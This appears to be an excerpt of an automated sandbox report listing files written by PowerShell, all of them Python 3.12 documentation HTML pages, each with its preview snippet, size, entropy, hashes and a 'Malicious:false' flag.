                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="The Very High Level Layer" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/veryhigh.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The functions in this chapter will let you execute Python source code given in a file or a buffer, but they will not let you interact in a more detailed way with the interpreter. Several of these f..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The functions in this chapter will let you execute Pytho
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1018), with CRLF line terminators
                    Category:dropped
                    Size (bytes):25026
                    Entropy (8bit):4.891239863417193
                    Encrypted:false
                    SSDEEP:
                    MD5:2AD8969F499B66CEEA60FBA429CB540B
                    SHA1:72B18825F40439BADE47DF7C526FB4A5B9E051B8
                    SHA-256:282BC6B2421078AE2E2D7374B05556FDCC8C410EEC97524DA6E37ACCBA1E18DD
                    SHA-512:081E97E083A42BB0C8936C5E94E0AB81045B0766E1B47FB378ED38270094D09EE7888F7353F9259019540FDC74E21EA6AB22AF03D5736A4110C75ECBD7A1DA86
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Weak Reference Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/weakref.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Python supports weak references as first-class objects. There are two specific object types which directly implement weak references. The first is a simple reference object, and the second acts as ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Python supports weak references as first-class objects. Ther
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):675259
                    Entropy (8bit):4.856751844355368
                    Encrypted:false
                    SSDEEP:
                    MD5:F402DCF60031500AD86915A4C405C838
                    SHA1:02AA786E32EA4CEBCB6A274D5B651EDAA526F613
                    SHA-256:DD5338F76262FD40AABC17A7B83F23944AB7D57D9380AE3FD65D00627CAF11F4
                    SHA-512:91444282340FC1F69DA075777BB9198008A521CE767089AB33462E93D2A7FDFA936B4479E5650770ECCFF8FB6EFD9750A6DD1D1E6DDC354C7F0FD0CE642A3319
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="./">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Python Documentation contents" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/contents.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="What.s New in Python- What.s New In Python 3.12- Summary . Release highlights, New Features- PEP 695: Type Parameter Syntax, PEP 701: Syntactic formalization of f-strings, PEP 684: A Per-Interprete..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="What.s New in Python- What.s New In Python 3.12-
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):12864
                    Entropy (8bit):4.823832589679693
                    Encrypted:false
                    SSDEEP:
                    MD5:B64CC95E76E1344FE6A1F473F0264D1E
                    SHA1:0BCEDA1D62C52149B556D0C48F87A43E155BFFF5
                    SHA-256:72456BDA320FF36A301507C6F5C9E9708AC9BA0520D706041DF3CB8DBD381786
                    SHA-512:D5CE4B7DE72683B5A909180F3E8E475F5110FB54F8B3150A39C2ECAECB1D3461E9FAA20BD7D78DCF3B9FAE6B0FC64A207F1BF80B4C1A29874D0239FD3B0A3744
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="./">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Copyright" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/copyright.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Python and this documentation is: Copyright . 2001-2023 Python Software Foundation. All rights reserved. Copyright . 2000 BeOpen.com. All rights reserved. Copyright . 1995-2000 Corporation for Nati..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Python and this documentation is: Copyright . 2001-2023 Python Software Fo
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):11225
                    Entropy (8bit):4.834028944953228
                    Encrypted:false
                    SSDEEP:
                    MD5:AA98E4B44174255266A7A00F40D3ED2E
                    SHA1:98E0A6820AA0248EE8B460675483DEA068D6FE18
                    SHA-256:D179527D477CF1DBE985F0D290CB124E2C8DB72ED93C10D028006BCC64F73412
                    SHA-512:0E2DD3BA8C0A5517EA00081A73618F9CBF7F560F5C6F0746EE5313B2DD6D44648F02CB50E0B092446DDC1159CDB6764D48FE26E02C935FAB941DB1FE92AF141D
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Distributing Python Modules" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/distributing/index.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />.... <title>Distributing Python Modules &#8212; Python 3.12.3 documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0">.. .. <link rel="styles
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):11573
                    Entropy (8bit):4.906855752254527
                    Encrypted:false
                    SSDEEP:
                    MD5:D77806F56E09EB3943877DEA8140B54F
                    SHA1:A4C1A245C50A44E32935D9B337E21D6A069C0F89
                    SHA-256:68F161A7423CB26CA625F43196381D49738EE8719ABCA18242495C9F24BC9366
                    SHA-512:31641273939C424E58E9D833892E9DC9D384E6DD7C39750AD4F2C388B3E8135BF461B26C9AD6C4396E674CB7C028B1F0E2EDD64D61A2BE40ACCC03AE1DB1C745
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="./">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" />.. <title>Download &#8212; Python 3.12.3 documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0">.. .. <link rel="stylesheet" type="text/css" href="_static/pygments.css?v=80d5e7a1" />.. <link rel="stylesheet" type="text/css" href="_static/pydoctheme.css?v=bb723527" />.. <link id="pygments_dark_css" media="(prefers-color-scheme: dark)" rel="stylesheet" type="text/css" href="_static/pygments_dark.css?v=b20cc3f5" />.. .. <script src="_static/documentation_options.js?v=2c828074"></script>.. <script src="_static/doctools.js?v=888ff710"></script>.. <script src="_static/sphinx_highlight.js?v=dc90522c"></script>.. .. <script src="_static/sidebar.js"></script>.. .. <link rel="search" type="application/opensearchdescription+xml".. title="Sea
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (567), with CRLF line terminators
                    Category:dropped
                    Size (bytes):19562
                    Entropy (8bit):4.91258489409245
                    Encrypted:false
                    SSDEEP:
                    MD5:046738F5DA1DD5ADEEC508C034190BD9
                    SHA1:C704874DDF1496497664AF5EF26650AD2110DBC4
                    SHA-256:8A6095CA82F6C83787B64AC36F716360D55071095E7F71EE95C6F6FA6894FA66
                    SHA-512:1C7CA5B739B190EDDEE62E7D3E928A596619B4184342C994ECF6A70F341A99B8BBA95A083908BF4D4D24FC4C8ED96B93A4BBED6F6F5DC0701948F2B7F7AF1D05
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="4. Building C and C++ Extensions" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/extending/building.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="A C extension for CPython is a shared library (e.g. a.so file on Linux,.pyd on Windows), which exports an initialization function. To be importable, the shared library must be available on PYTHONPA..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="A C extension for CPython is a shared library
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (670), with CRLF line terminators
                    Category:dropped
                    Size (bytes):56687
                    Entropy (8bit):4.828816641446644
                    Encrypted:false
                    SSDEEP:
                    MD5:156C1761D37930F00A53D75A2C7B21D3
                    SHA1:294E28A82956F15D68CFC75F621772EA48A62EC5
                    SHA-256:03A894BC646595421B43A9DAC8288F8ABA607E37EE62022E94BB8491096C96A6
                    SHA-512:E7B9E515C398894B1CCB8A320D9CAD4670F4B849F2A2BDBFA8BB7AA90D0A140E8562ADE35131DF7EB6BA9BB2BCF9DF5733BF1EA296FCFF26CE6B04685762F51D
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="1. Embedding Python in Another Application" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/extending/embedding.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The previous chapters discussed how to extend Python, that is, how to extend the functionality of Python by attaching a library of C functions to it. It is also possible to do it the other way arou..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The previous chapters discussed ho
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (553), with CRLF line terminators
                    Category:dropped
                    Size (bytes):167659
                    Entropy (8bit):4.870286185877593
                    Encrypted:false
                    SSDEEP:
                    MD5:70059198CDE4AFF5347513AB3AAB6B03
                    SHA1:204D538BD3BE58C45104EFAAD44CEC331059661A
                    SHA-256:DF067BD9AA8ABAD3C4EA157A8C640475434BC6B150EB7CAB1ABB3E63EB3552BD
                    SHA-512:D3F59649EA8E392AA47A5F384995AC4F90125397D326F19D9A9A89AD070CFDD0BBCEE91E1BD66FDB6AAD5FF1261B777BE428FC8297E293FE090548153A99287C
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="1. Extending Python with C or C++" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/extending/extending.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="It is quite easy to add new built-in modules to Python, if you know how to program in C. Such extension modules can do two things that can.t be done directly in Python: they can implement new built..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="It is quite easy to add new built-in modu
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):24084
                    Entropy (8bit):4.905820111409463
                    Encrypted:false
                    SSDEEP:
                    MD5:8C4CF091E64AC5E41867E3AE2B76972B
                    SHA1:307DBC3C7B970D1DEA210DD94DA054972F316D18
                    SHA-256:6230C0397B2B77017C09733706ABFF9FD495C83FA2784FE92BACD8A4230B0390
                    SHA-512:6063E9DB1B87178730529051F5F7268B18C996F9F196BE391F7CFA605311B2F52075A707D3D1AE61242FC5C4CECA6E40E9A47BA541736919A58A407C407DD632
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Extending and Embedding the Python Interpreter" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/extending/index.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This document describes how to write modules in C or C++ to extend the Python interpreter with new modules. Those modules can not only define new functions but also new object types and their metho..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This document describes how to wri
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (641), with CRLF line terminators
                    Category:dropped
                    Size (bytes):99436
                    Entropy (8bit):4.788158292192944
                    Encrypted:false
                    SSDEEP:
                    MD5:264E1C45550F16E00F7AE050D2B3F478
                    SHA1:0EBA18AA1CF8CC8D2A44397815744358852C4171
                    SHA-256:2E96995C9BA09E3922EB5BACDEA07648CB218B81C1363527E5957A364175AD49
                    SHA-512:6A8A32183F6C870455406256AA1212A1FBB45EEE684DC97A71602A2B490759457AF3658B279480E3854ED03088DD1D4A800FA1A0B94CA1208E762126663C0E64
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="3. Defining Extension Types: Assorted Topics" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/extending/newtypes.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This section aims to give a quick fly-by on the various type methods you can implement and what they do. Here is the definition of PyTypeObject, with some fields only used in debug builds omitted: ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This section aims to give a quick
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (734), with CRLF line terminators
                    Category:dropped
                    Size (bytes):237726
                    Entropy (8bit):4.59582375335333
                    Encrypted:false
                    SSDEEP:
                    MD5:520B4BDB784755143E993AFEDD5E58DF
                    SHA1:CE5F11EC84DD488827D30043942A77B2B804C769
                    SHA-256:AE98DF7F84768DE3E87DD065173C8A2F622D34B9D0E104681727A081600D2CED
                    SHA-512:386BC2A27FA8D0BA256BDF613B884D613EC1B76512BA433B42BA0BEC62C5DD481B7F911AB8956C2EA0F0C75BD2BD2F9C2D99F90D9899A7D79EA2DD260DD6C927
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="2. Defining Extension Types: Tutorial" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/extending/newtypes_tutorial.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Python allows the writer of a C extension module to define new types that can be manipulated from Python code, much like the built-in str and list types. The code for all extension types follows a ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Python allows the writer of a C
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (680), with CRLF line terminators
                    Category:dropped
                    Size (bytes):25927
                    Entropy (8bit):4.870024779077443
                    Encrypted:false
                    SSDEEP:
                    MD5:834C916A1D9B5BA36345AF856E2ADB30
                    SHA1:EE4C3B0249DEFEF04BF1366CDD1E16BB12E00BF7
                    SHA-256:465FF7098D8ED28436279761D571F6A17989783D17C7299338292C595D18DDEA
                    SHA-512:5235DFCBA51B5466D7B4855DA429896B9E3B43A5853D60A4A09EBD4C581EF52E8F92112356394D5A59BA199D95514829CE9F92E10A078AD19F406EDFC47827BD
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="5. Building C and C++ Extensions on Windows" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/extending/windows.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This chapter briefly explains how to create a Windows extension module for Python using Microsoft Visual C++, and follows with more detailed background information on how it works. The explanatory ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This chapter briefly explains how t
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (499), with CRLF line terminators
                    Category:dropped
                    Size (bytes):97317
                    Entropy (8bit):4.888386650215292
                    Encrypted:false
                    SSDEEP:
                    MD5:BCE24FE6598D3BBA1AF196459B7BFFDC
                    SHA1:301FDEC3633227EF49046AC9CDED3EF01FA2A7E8
                    SHA-256:05C97120CD24A78A002C6EF3F85FF4FF865052B7B24B8AE668C81BF546B4683B
                    SHA-512:1CEB649C288F71136DF513F43CA36F9EF7B80BBB9EC1F741466FB62D98D828FDAADDCD778F2C60BE857BF790EFFCDC0C6E1FBA0FFB847B04885A9CF14C020C67
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Design and History FAQ" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/faq/design.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Contents: Design and History FAQ- Why does Python use indentation for grouping of statements?, Why am I getting strange results with simple arithmetic operations?, Why are floating-point calculatio..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Contents: Design and History FAQ- Why does Python use indentati
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (619), with CRLF line terminators
                    Category:dropped
                    Size (bytes):51765
                    Entropy (8bit):4.997448558312701
                    Encrypted:false
                    SSDEEP:
                    MD5:AEF49929087C581D4A5F129E152EAAA8
                    SHA1:914087D78F8D5A935987358B45C78FEA6B71CAE5
                    SHA-256:7B948D99F511EA000EA0217A74FCCE7E4C34CCCC0F739F5DFEC785268B178772
                    SHA-512:5127AEC0E875090194D33AB9B32B85FF1894118F774D811D281C6D9CE2123A82FD2F03050EA1C45376AD30FD7B8DE3CCBB3227A6817F62D4FC44094DFBCD64AE
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Extending/Embedding FAQ" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/faq/extending.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Contents: Extending/Embedding FAQ- Can I create my own functions in C?, Can I create my own functions in C++?, Writing C is hard; are there any alternatives?, How can I execute arbitrary Python sta..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Contents: Extending/Embedding FAQ- Can I create my own func
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (431), with CRLF line terminators
                    Category:dropped
                    Size (bytes):48808
                    Entropy (8bit):5.029010215859102
                    Encrypted:false
                    SSDEEP:
                    MD5:0AA439130EBE77861A62E8D5DCFE94E5
                    SHA1:640888D53B4C933E01C5D124C6C1298DDC2BDCDB
                    SHA-256:4117215220AC5391C8740C17062386DCFD76911A8B4AA393DB268B2C2C4A046B
                    SHA-512:E1B4CBEA9BC30D24691BB0505AEC211AEEE3734CFE628A23C11CD3FF383EEE6D9F5938F8D56C263E052AF205726556C3EFF10B94233AAC5BA1903E13F09C2A9A
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="General Python FAQ" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/faq/general.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Contents: General Python FAQ- General Information- What is Python?, What is the Python Software Foundation?, Are there copyright restrictions on the use of Python?, Why was Python created in the fi..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Contents: General Python FAQ- General Information- What is Python?
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):20264
                    Entropy (8bit):4.9492838101459675
                    Encrypted:false
                    SSDEEP:
                    MD5:94BACFB13400CCF32DAA0C3F4CE95309
                    SHA1:E6DCFC79C5D9C7AB3C234020910383C40376C358
                    SHA-256:8D28C8A17D84244043F0157E5CCD925F8DF4D21D2ED26CC90A8B505FFBB948FC
                    SHA-512:547624AE98FE099EBDD5925A5D31372D2279540F07D55B4C8839BE8A895CEE84142B5A9E093DAFD26AD465223DD300F1E834D7D7F1BC90D7D7BF4A63DCBF0CD3
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Graphic User Interface FAQ" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/faq/gui.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Contents: Graphic User Interface FAQ- General GUI Questions, What GUI toolkits exist for Python?, Tkinter questions- How do I freeze Tkinter applications?, Can I have Tk events handled while waitin..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Contents: Graphic User Interface FAQ- General GUI Questions, W
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):13710
                    Entropy (8bit):4.86475775566005
                    Encrypted:false
                    SSDEEP:
                    MD5:3CF42350992EA2B5A589F4077C61C018
                    SHA1:78CD79F64BC0155F6B9E74B5DA906E8BFEA47A57
                    SHA-256:3565728E52E26CC6D59366A7A59B7516CA708F3CCE4A23B4DEE1EF19A7D26F3A
                    SHA-512:8CDE92024B58817FB6309E01165AAFE8556164E26F4CCF09DDF5B6B221F163486E5D798189A2112B40A49771A175F82D49EC9B15FA2B807820E1A3B40ED79D10
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Python Frequently Asked Questions" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/faq/index.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="General Python FAQ, Programming FAQ, Design and History FAQ, Library and Extension FAQ, Extending/Embedding FAQ, Python on Windows FAQ, Graphic User Interface FAQ, .Why is Python Installed on my Co..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="General Python FAQ, Programming FAQ, Design and His
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):16751
                    Entropy (8bit):4.894992337276063
                    Encrypted:false
                    SSDEEP:
                    MD5:E17B0F6C3D4762CB6D7E3062570B4731
                    SHA1:717433429D9A3C39E8B65B5ACEF291D56C9BE886
                    SHA-256:75A5BADCB4B24A2B42026A7E3BC0AA5180F1E7A2DE7F56C4627E99715BD716EA
                    SHA-512:C25689F56B2D319648C1AC36D543F2ABA662BA784E11EDB232991DE0CD5CC0E3B19B206525B44CB445D100E73743585754A5E48176BA10690279C3D26058BEE1
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content=".Why is Python Installed on my Computer?. FAQ" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/faq/installed.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="What is Python?: Python is a programming language. It.s used for many different applications. It.s used in some high schools and colleges as an introductory programming language because Python is e..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="What is Python?: Python is a
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (560), with CRLF line terminators
                    Category:dropped
                    Size (bytes):90714
                    Entropy (8bit):4.924981336784179
                    Encrypted:false
                    SSDEEP:
                    MD5:2A3717E72F86DFCDE4A53886D05B3E50
                    SHA1:3F14E32E8BBA9B19CAB463BD3F375941CF448B48
                    SHA-256:74E8E4001EBD25D74556E60F2828244793CE8D9AF17BCB25002BA47F6CCA8498
                    SHA-512:3F195DAA3526D1F2F6C44195E3124875C348FDB0E29509590965C94C0505BC5C76927A57F65645CDBEEEDD15019267B2B1BC2DD35703331E4E424E2049F04D24
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Library and Extension FAQ" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/faq/library.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Contents: Library and Extension FAQ- General Library Questions- How do I find a module or application to perform task X?, Where is the math.py (socket.py, regex.py, etc.) source file?, How do I mak..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Contents: Library and Extension FAQ- General Library Questi
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (951), with CRLF line terminators
                    Category:dropped
                    Size (bytes):254381
                    Entropy (8bit):4.825914541827993
                    Encrypted:false
                    SSDEEP:
                    MD5:2711F6D28F603338A979A23866D8A9E2
                    SHA1:C6A5A725DA85573C3C42351408772C69F535862B
                    SHA-256:41CB9B5ABD54BCE5353C55BBE378899937C9509CA10ED32A429E4B083B3B0756
                    SHA-512:0FF19DAD5A9B664992AA3B726AFCA60093FB598048CE2119D2171CD8AFC600D35AEC304129939F86C4B41E642A25E78517F5A0E89A16481C1680550C94C7BAA2
                    Malicious:false
                    Reputation:unknown
